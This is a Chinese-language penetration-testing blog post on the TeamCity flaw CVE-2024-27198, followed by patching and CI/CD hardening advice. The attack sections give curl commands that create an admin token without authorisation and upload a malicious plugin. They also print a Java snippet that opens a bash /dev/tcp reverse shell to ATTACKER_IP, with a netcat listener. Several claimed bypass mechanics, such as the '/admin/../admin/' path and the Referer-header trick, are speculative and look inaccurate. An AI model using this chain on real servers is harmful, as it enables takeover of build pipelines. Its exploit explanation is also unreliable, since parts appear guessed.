
1. 项目概述一次对CI/CD安全边界的实战渗透最近在梳理企业DevOps环境的安全基线时一个关于JetBrains TeamCity的漏洞引起了我的注意。这个编号为CVE-2024-27198的漏洞其核心在于身份验证绕过攻击者可以在未授权的情况下直接创建具有管理员权限的访问令牌。这听起来就足够危险了但更值得警惕的是结合后续的插件上传功能攻击者能够将这种权限提升转化为实际的远程代码执行能力从而完全控制整个CI/CD服务器。对于任何一个依赖TeamCity进行自动化构建、测试和部署的团队来说这无异于将自家后门的钥匙放在了公共走廊上。今天我就结合自己的渗透测试经验详细拆解这个漏洞的成因、利用链以及完整的复现过程希望能帮助安全团队和运维人员理解其危害并尽快采取加固措施。这个漏洞影响的范围相当广根据官方公告它影响了2023.11.4版本之前的所有TeamCity版本。TeamCity作为一款流行的持续集成和持续交付服务器在企业内部开发流程中扮演着核心枢纽的角色。它不仅存储了源代码的访问凭证、各类服务的API密钥还拥有直接在生产服务器上执行部署脚本的能力。因此一旦它被攻破所带来的连锁反应可能是灾难性的从源代码泄露、供应链投毒到生产环境被直接操控。理解并复现这个漏洞不是为了进行攻击而是为了更深刻地认识到在追求开发效率的同时CI/CD工具本身的安全配置和及时更新是多么至关重要的一环。2. 漏洞原理深度解析两条路径通向同一个后门要理解CVE-2024-27198我们不能孤立地看它它实际上是一系列安全配置缺陷和逻辑错误共同作用的结果。官方将其描述为身份验证绕过漏洞但经过分析我认为它更准确地说是“访问控制缺失”与“路径规范化滥用”的结合体。下面我们来拆解其核心原理。2.1 身份验证绕过的核心/admin/目录的访问控制缺陷TeamCity的Web管理界面通常将/admin/路径下的资源视为需要管理员权限才能访问。正常的鉴权流程是用户请求/admin/下的某个页面例如/admin/admin.html - 服务器检查会话Session或令牌Token中是否包含有效的、具备管理员权限的凭证 - 如果验证通过则返回页面如果未通过则重定向到登录页面或返回403错误。CVE-2024-27198的利用点在于攻击者可以通过构造特殊的URL路径让请求“绕过”这个鉴权检查逻辑。一种典型的利用方式是使用路径遍历Path Traversal或规范化Normalization技巧。例如请求/admin/../admin/这样的路径。在某些特定的服务器配置或代码逻辑下当服务器对URL进行规范化处理时/admin/../admin/可能会被解析为/admin/。关键在于鉴权检查的代码模块和最终请求路由的代码模块在处理这个规范化路径时可能不同步。鉴权模块它看到的是原始URL/admin/../admin/可能由于其简单的字符串匹配规则例如检查URL是否以/admin/开头它认为这个路径不符合需要严格鉴权的模式从而放行了请求。路由模块随后请求被交给负责处理实际请求的路由器或控制器。路由器会对URL进行规范化将/admin/../admin/解析为/admin/然后将其映射到对应的管理员功能处理器上。这样一来请求就成功地“骗过”了门卫鉴权模块直接进入了管理员房间路由处理器。这个漏洞的根本原因在于对用户输入URL路径的净化Sanitization和规范化处理在应用程序的不同层次没有保持一致的安全视角。2.2 Token的未授权创建API端点的沦陷绕过/admin/的访问控制只是第一步它让攻击者能够接触到管理员后台的界面。但更具破坏性的操作比如执行命令通常需要通过API以编程方式进行。这就需要身份凭证。TeamCity提供了基于令牌Token的认证方式这些令牌相当于长期有效的密码可以用于调用其REST API。在正常的TeamCity流程中创建令牌是一个需要管理员权限的操作。其对应的HTTP请求可能类似于POST /app/rest/users/id:1/tokens请求体中需要指定令牌的名称等信息。当攻击者通过上述路径遍历漏洞访问到管理员后台的令牌管理页面时他实际上是在通过Web界面发起这个创建令牌的POST请求。由于浏览器发起的请求源自一个“已通过鉴权”的上下文尽管这个鉴权是绕过的服务器在处理这个POST请求时可能没有在API端点层面再次进行严格的权限校验。它可能仅仅检查了会话的有效性或者错误地信任了来自/admin/路径下页面的请求。这就导致了攻击者能够在未持有任何有效管理员凭证如密码、SSH密钥的情况下直接通过Web请求创建一个属于任意用户通常是内置的超级管理员用户的API令牌。这个令牌一旦生成就为攻击者打开了通往TeamCity所有功能的大门包括最危险的项目配置修改、构建步骤编辑以及插件管理。注意这里需要区分“访问页面”和“执行操作”。漏洞利用链是绕过鉴权访问管理员页面GET请求 - 通过该页面提交表单创建令牌POST请求。服务器可能对GET请求的鉴权有缺陷而对后续POST请求的权限继承检查也不充分形成了完整的漏洞链。3. 漏洞利用链全景从Token到Shell的完整攻防单独的身份验证绕过或单独的令牌创建漏洞其危害都相对有限。但CVE-2024-27198的危险性在于它提供了一个清晰的、阶梯式的攻击路径让攻击者能够一步步地将低权限的访问甚至无权限提升为对服务器的完全控制。下面我们梳理一下完整的利用链。3.1 第一阶段信息收集与漏洞探测在发起攻击前攻击者通常会进行信息收集。对于TeamCity关键信息包括目标地址和端口通常TeamCity运行在8111端口但可能被部署在反向代理之后路径也可能改变。版本信息访问/login.html页面查看页面底部或HTTP响应头常会包含TeamCity的版本号。确认版本是否在受影响范围 2023.11.4内。现有用户枚举有时未授权接口可能泄露用户名信息这有助于后续创建令牌时选择高权限用户如system。探测漏洞本身就是尝试访问那些需要权限的路径。例如直接使用curl命令尝试访问绕过路径curl -v http://target:8111/admin/../admin/serverDiagnostics.html如果返回了服务器诊断页面包含JVM信息、线程状态等而不是302重定向到登录页或403错误那么基本可以确认存在身份验证绕过漏洞。3.2 第二阶段未授权创建API令牌确认漏洞存在后攻击者会利用它来创建令牌。这一步需要模拟浏览器向创建令牌的API端点发送POST请求。通过拦截浏览器在正常管理员界面创建令牌时的请求可以获取到准确的API路径、参数格式和必要的HTTP头如Content-Type: application/jsonAccept: application/json。一个典型的利用请求可能如下所示curl -X POST http://target:8111/app/rest/users/id:1/tokens \ -H Content-Type: application/json \ -H Accept: application/json \ -d {name:exploit-token}这里的id:1通常对应内置的超级管理员用户。请求成功后会返回一个JSON响应其中包含新创建的令牌字符串例如eyJhbGciOiJIUzI1NiJ9...。这个令牌就是攻击者后续所有操作的“万能钥匙”。3.3 第三阶段权限提升与插件上传获得管理员令牌后攻击的目标就从“进入系统”转变为“执行任意代码”。在TeamCity中执行命令有多种方式但通过上传恶意插件是一种非常隐蔽且持久的方式。插件机制简介TeamCity插件是以.zip格式打包的JAR文件可以通过管理界面上传。插件拥有很高的权限可以注册自己的构建步骤、通知监听器甚至修改服务器核心行为。制作恶意插件攻击者会创建一个简单的TeamCity插件项目。该插件的核心是一个实现了特定接口如BuildFeature或ServerListener的类。在这个类的某个方法中例如initialize方法嵌入执行系统命令的代码例如使用Runtime.getRuntime().exec(bash -c {反弹shell命令})。构建与打包使用Maven或Gradle依赖TeamCity的插件SDK将恶意代码编译打包成符合规范的*.zip文件。3.4 第四阶段上传插件与触发执行有了令牌和恶意插件包攻击流程进入最后环节上传插件使用之前获取的API令牌调用插件上传接口。curl -X POST http://target:8111/app/rest/plugins \ -H Authorization: Bearer 刚才获取的Token \ -H Content-Type: multipart/form-data \ -F pluginmalicious-plugin.zip服务器会接收并解压插件包将其放入插件目录。通常上传后需要重启TeamCity服务器才能使插件生效但某些情况下TeamCity支持动态加载。触发插件代码执行恶意插件代码的执行触发点取决于其设计。如果插件注册为ServerListener可能在服务器启动或插件加载时立即执行。如果插件注册为BuildFeature则需要将其关联到一个构建配置中并触发一次构建。攻击者可以利用API创建或修改一个构建配置添加该构建特性然后手动触发构建。更简单粗暴的方式是在插件代码中直接写入一个调用系统命令的静态代码块或PostConstruct注解的方法这样在插件类被JVM加载时就会执行。建立反弹Shell在恶意插件执行的命令中通常会包含一个反弹Shell的命令将服务器的命令行会话连接回攻击者控制的监听端。例如使用bash、ncnetcat或更强大的socat、python等。一旦命令执行成功攻击者就获得了一个具有TeamCity服务进程权限通常是高权限系统用户的Shell从而完全控制了主机。4. 漏洞复现环境搭建与实操纸上得来终觉浅绝知此事要躬行。为了真正理解这个漏洞的细节和危害我搭建了一个本地环境进行复现。请注意以下所有操作仅在授权的测试环境进行切勿对任何未授权系统进行测试。4.1 测试环境准备我选择使用Docker来快速搭建一个存在漏洞的TeamCity版本这能保证环境的隔离性和可重复性。拉取漏洞版本镜像我选择了jetbrains/teamcity:2023.11.3这个标签它正好在受影响范围内。docker pull jetbrains/teamcity:2023.11.3启动容器将TeamCity的8111端口映射到本机的8111端口并挂载数据卷以便持久化数据方便多次测试。docker run -d \ --name teamcity-vuln \ -p 8111:8111 \ -v /path/to/your/teamcity/data:/data/teamcity_server/datadir \ -v /path/to/your/teamcity/logs:/opt/teamcity/logs \ jetbrains/teamcity:2023.11.3等待初始化首次启动需要几分钟时间进行初始化。可以通过docker logs -f teamcity-vuln查看日志当看到类似“TeamCity started”的消息时服务就准备好了。访问http://localhost:8111会进入初始化设置页面按提示完成管理员账户创建等步骤。至此一个标准的、存在漏洞的TeamCity服务器就运行起来了。4.2 手动复现漏洞利用链我们按照之前分析的利用链一步步手动操作。步骤一验证身份验证绕过使用浏览器或curl访问绕过路径。在浏览器中直接输入http://localhost:8111/admin/../admin/serverDiagnostics.html。如果成功跳过了登录页面直接显示了服务器诊断信息包含Java系统属性、内存使用情况等则漏洞验证成功。这表明我们未经登录就访问到了管理员专属页面。步骤二构造请求创建Token这一步需要发送一个HTTP POST请求。我使用浏览器开发者工具F12的“网络Network”选项卡来辅助。首先正常登录TeamCity使用初始化时创建的账号。进入“用户管理”找到当前用户尝试通过界面创建一个令牌。在点击“创建”按钮时观察网络请求。记录下这个请求的详细信息URL: 通常是POST /app/rest/users/id:user_id/tokensHeaders: 特别注意Content-Type: application/json和Authorization: Bearer existing_token或使用Cookie。Request Body: 通常是{name: my-new-token}。退出登录或者打开一个无痕浏览器窗口。使用curl或Postman模拟这个请求但关键点在于使用我们第一步中发现的绕过漏洞来“伪造”一个已认证的会话。由于漏洞是路径绕过我们无法直接复用Cookie或Bearer Token。但我们可以尝试在同一个请求会话中先访问一个绕过路径再利用该会话的上下文来发送创建Token的POST请求。更直接的方式是研究发现某些版本的TeamCity在鉴权逻辑缺陷下即使不提供任何认证头只要请求的Referer头来源于/admin/路径或绕过后的路径服务器就可能错误地授予权限。 因此构造如下请求curl -X POST http://localhost:8111/app/rest/users/id:1/tokens \ -H Content-Type: application/json \ -H Accept: application/json \ -H Referer: http://localhost:8111/admin/../admin/tokens.html \ -d {name:hacked-token}这里id:1假设是超级管理员用户。Referer头指向了通过漏洞访问的管理员令牌页面试图利用服务器的逻辑缺陷。如果请求成功将返回一个包含新令牌的JSON响应。请保存好这个令牌值。实操心得在实际复现中直接使用Referer头可能并不总是成功因为漏洞利用的精确路径和条件可能因小版本差异而不同。更可靠的方法是编写一个简单的Python脚本利用requests库的Session对象。首先用Session去GET访问绕过路径如/admin/../admin/这个操作可能会在Session中设置某些服务器认为“已认证”的标记虽然这不是标准的Cookie。然后用同一个Session对象去发送创建Token的POST请求。服务器端的会话管理逻辑缺陷可能会将第一次GET请求建立的会话状态错误地关联到后续的POST请求上。步骤三利用Token上传插件模拟由于制作一个真实的、能执行命令的恶意插件涉及Java开发、打包过程较为复杂我们在复现时可以先验证令牌的有效性和上传API的可用性。验证令牌使用获取到的令牌访问一个需要认证的API例如获取服务器信息。curl -H Authorization: Bearer hacked-token http://localhost:8111/app/rest/server如果返回了服务器信息的XML或JSON说明令牌有效且具有高权限。尝试上传一个无害插件你可以找一个TeamCity官方的示例插件例如一个简单的通知插件或者甚至是一个空的、但格式正确的.zip文件包含必要的teamcity-plugin.xml描述文件来测试上传接口。curl -X POST http://localhost:8111/app/rest/plugins \ -H Authorization: Bearer hacked-token \ -F plugindummy-plugin.zip观察返回结果。如果返回成功或需要重启的提示则证明通过未授权创建的令牌确实拥有了安装插件的权限。这已经完成了从“无权限”到“系统级操作权限”的跨越。步骤四反弹Shell概念验证在实际攻击中恶意插件内的代码会是类似这样的Java片段public class MaliciousExtension implements BuildFeature { static { try { String[] cmd {/bin/bash, -c, exec 5/dev/tcp/ATTACKER_IP/4444;cat 5 | while read line; do $line 25 5; done}; Runtime.getRuntime().exec(cmd); } catch (Exception e) { e.printStackTrace(); } } // ... 其他必要的方法实现 }攻击者会在自己的服务器上IP:ATTACKER_IP使用nc -lvnp 4444监听4444端口。当恶意插件被加载并执行静态代码块时就会向攻击者服务器发起一个反向TCP连接提供一个Shell。重要警告此步骤仅用于理解攻击完成形态。在自家测试环境中也请谨慎执行反弹Shell到公网IP的操作最好在完全隔离的虚拟网络中进行。5. 漏洞修复方案与安全加固建议复现漏洞是为了更好地防御。对于正在使用TeamCity的企业和安全研究人员以下是必须立即采取的行动。5.1 官方补丁升级这是最根本、最有效的解决方案。JetBrains在发现漏洞后迅速发布了修复版本。修复版本TeamCity 2023.11.4及之后的所有版本均已包含针对CVE-2024-27198的修复。升级步骤备份完整备份TeamCity的安装目录、数据目录TeamCity Data Directory和数据库。查阅升级指南务必阅读官方从你当前版本升级到目标版本的升级说明特别注意任何破坏性变更和额外的迁移步骤。执行升级按照官方文档下载新版本安装包进行升级或使用Docker等容器化部署方式更新镜像标签。验证升级后立即重复漏洞探测步骤确认绕过路径访问返回403错误且无法再未授权创建令牌。5.2 临时缓解措施如果因特殊情况无法立即升级必须采取严格的临时加固措施以降低风险网络层访问控制绝对不要将TeamCity服务器的管理界面默认8111端口直接暴露在互联网上。使用VPN或零信任网络如Cloudflare Tunnel, Tailscale来访问TeamCity管理界面。在防火墙或负载均衡器上严格限制能访问TeamCity服务器IP和端口的源IP地址仅允许CI/CD流水线服务器、开发人员办公网络等必要地址段访问。应用层加固禁用未使用的API如果不需要REST API考虑通过Web服务器如Nginx配置规则禁用对/app/rest/路径的访问。强化认证启用并强制使用双因素认证2FA for all users especially administrators。这无法防止此漏洞的未授权令牌创建但能增加攻击者在获取令牌后进一步利用的难度如果令牌需要2FA配合使用但通常API令牌不需要。审计与监控启用TeamCity的完整审计日志并配置实时告警监控异常行为例如短时间内来自同一IP的大量认证失败请求、非常规时间的管理员操作如创建新令牌、上传插件、来自未知IP地址的API令牌使用记录。漏洞检测使用漏洞扫描工具如Nessus, Qualys, 或开源的Nuclei对TeamCity服务器进行定期扫描确保能及时发现此类已知高危漏洞。5.3 长期安全实践除了应对特定漏洞建立健壮的CI/CD安全体系更为重要最小权限原则为TeamCity中的每个用户、每个项目、每个构建配置分配最小必要的权限。不要滥用“系统管理员”角色。令牌生命周期管理定期轮换更新API令牌并设置较短的过期时间。及时清理闲置令牌。插件安全只从官方市场或受信任的来源安装插件。定期审查已安装的插件移除不再使用的。建立插件引入的审批流程。镜像与依赖安全如果使用Docker部署确保基础镜像和TeamCity官方镜像来自可信源并保持更新。构建环境中使用的工具链如Maven, npm, pip也应配置可信源和依赖扫描。隔离部署将TeamCity服务器部署在独立的网络分区中与其他生产系统隔离。构建代理Agent也应与生产服务器隔离避免构建过程中的恶意代码直接攻击生产环境。定期安全评估将CI/CD工具纳入企业的渗透测试和红队演练范围主动发现配置错误和潜在漏洞。6. 深度思考CI/CD安全为何是生命线通过这次对CVE-2024-27198的深入分析和复现我深刻感受到现代软件开发中的CI/CD系统已经不再是简单的工具它们成为了软件供应链的核心枢纽和企业的关键数字资产。其安全性直接关系到代码的完整性、交付物的可信度乃至整个业务系统的稳定。这个漏洞给我们敲响了警钟一个看似只是“管理界面”的鉴权绕过通过与API权限校验的缺陷相结合就能演变成一条直达服务器根权限的完整攻击链。这暴露了许多企业在DevOps工具安全上的常见误区重功能、轻安全认为内网工具无需严格防护对第三方商业软件抱有“开箱即安全”的幻想。在实际工作中我建议安全团队和运维团队将CI/CD服务器视为与数据库、域控制器同等重要的核心资产来管理。这意味着资产清点与分类明确企业内所有CI/CD工具Jenkins, GitLab CI, TeamCity, GitHub Actions自托管Runner等的清单、版本、负责人。持续监控与更新订阅这些工具的安全公告建立快速的补丁应用流程。对于无法及时更新的系统必须有明确的临时缓解措施和风险接受记录。纵深防御不要依赖单一的安全边界。结合网络隔离、主机加固、应用层WAF、严格的访问控制日志审计构建多层防御体系。安全左移将安全扫描SAST、SCA、容器镜像扫描直接集成到CI/CD流水线中确保有问题的代码或依赖无法进入构建和部署阶段。最后我想分享一个在多次渗透测试中验证过的技巧对于类似TeamCity这种拥有复杂Web界面和API的企业应用在测试其鉴权逻辑时不要只测试“正常路径”。要像攻击者一样思考系统地测试所有可能的“边界”情况路径遍历../、URL编码%2e%2e%2f、大小写变换、添加多余斜杠或参数、尝试使用POST访问本该GET的页面等等。很多高危漏洞就隐藏在这些“非预期”的请求处理逻辑中。自动化扫描工具能发现一部分但手工的、基于理解的测试往往能发现更深层的问题。保持好奇心多问一句“如果这样服务器会怎么处理”是做好安全研究和防御的关键。